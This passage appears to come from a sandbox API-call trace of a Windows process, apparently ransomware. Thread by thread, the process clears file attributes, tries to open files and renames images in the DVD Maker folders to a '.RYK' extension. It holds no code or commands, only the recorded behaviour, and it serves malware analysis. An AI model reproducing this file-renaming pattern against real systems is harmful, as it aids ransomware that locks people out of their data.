	[0229.370] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0229.370] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1133
	os_tid = 0x17dc

	[0229.373] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.373] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1134
	os_tid = 0x17e0

	[0229.661] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", dwFileAttributes=0x80) returned 0
	[0229.665] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.674] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1136
	os_tid = 0x17ec

	[0229.698] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.809] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1137
	os_tid = 0x17f0

	[0229.698] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png", dwFileAttributes=0x80) returned 0
	[0229.804] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1138
	os_tid = 0x17f4

	[0229.699] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png", dwFileAttributes=0x80) returned 0
	[0229.803] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.840] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1139
	os_tid = 0x17f8

	[0229.700] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0229.700] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.700] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1140
	os_tid = 0xa04

	[0229.779] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", dwFileAttributes=0x80) returned 0
	[0229.779] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.780] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1141
	os_tid = 0xf60

	[0229.781] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0229.781] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1142
	os_tid = 0x5c4

	[0229.783] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", dwFileAttributes=0x80) returned 0
	[0229.784] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1143
	os_tid = 0x1254

	[0229.785] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0229.786] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.786] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1144
	os_tid = 0x1204

	[0229.787] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.788] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.788] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1145
	os_tid = 0x1198

	[0229.789] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0229.789] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.790] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1146
	os_tid = 0x1804

	[0229.792] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.792] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.792] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1147
	os_tid = 0x1808

	[0229.794] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0229.794] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1148
	os_tid = 0x180c

	[0229.796] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.796] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.796] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1149
	os_tid = 0x1810

	[0229.798] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png", dwFileAttributes=0x80) returned 0
	[0229.811] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.851] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1150
	os_tid = 0x1814

	[0229.799] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png", dwFileAttributes=0x80) returned 0
	[0229.811] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.812] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1151
	os_tid = 0x1818

	[0229.985] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.986] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.986] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1152
	os_tid = 0x181c

	[0229.987] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.987] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1153
	os_tid = 0x1820

	[0229.988] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.988] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.989] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1154
	os_tid = 0x1824

	[0229.990] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.990] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1155
	os_tid = 0x1828

	[0229.991] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.991] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.991] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1156
	os_tid = 0x182c

	[0229.992] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

